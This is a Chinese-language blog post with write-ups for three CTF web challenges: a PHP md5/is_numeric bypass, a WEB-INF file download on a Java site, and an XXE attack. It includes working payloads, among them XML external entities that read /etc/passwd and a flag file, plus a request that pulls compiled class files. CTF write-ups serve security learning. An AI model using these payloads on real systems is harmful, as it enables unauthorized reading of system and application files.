携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情
[MRCTF2020] Ez_bypass
打开题目看到源码:
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
这个题目有两个重要的代码部分 一个是
if (md5($id) === md5($gg) && $id !== $gg)
这个是强比较,我在这篇文章末尾总结记录过,强比较可以用数组绕过,这里的请求方式是get 如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过 h0ne.top/2021/09/05/… 另外一个地方就是
if (!is_numeric($passwd))
{
if($passwd==1234567)
is_numeric() 函数用于检测变量是否为数字或数字字符串。这里的请求方式是post 代码判断$password如果不是数字或者数字字符串,并且password还要有1234567,才能绕过 post传参:passwd=1234567a 最后Payload:通过hackbar get传参?id[]=1&gg[]=2 post传参1234567a
[RoarCTF 2019]Easy Java
WEB-INF主要包含一下文件或目录:
1, /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
2, /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
3, /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
4, /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
5, /WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 打开题目,点击help,抓包修改为POST得到报错信息根据题目提示。我们传入filename值为
看到关键路径 com.Wm.ctf.FlagController 根据前文: 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 我们结合tomcat的项目存放路径经验试试下载FlagController.class试试
最后post传参的payload:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
就可得到base64,然后解码就是flag
[NCTF2019]Fake XML cookbook
关于xml的漏洞和xml语言的构造,可以在我的博客文章里找到。 参数解释:
1,<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
2,standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
3,按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:<!ENTITY 实体名称 "实体内容">,引用一般实体的方法:&实体名称;
4,外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。
5,因为将file:///flag命名为admin,所以下面用&admin。
随便输入账号密码 抓包:
发现了XML实体
我们可以构造恶意实体,然后读取文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
读取到flag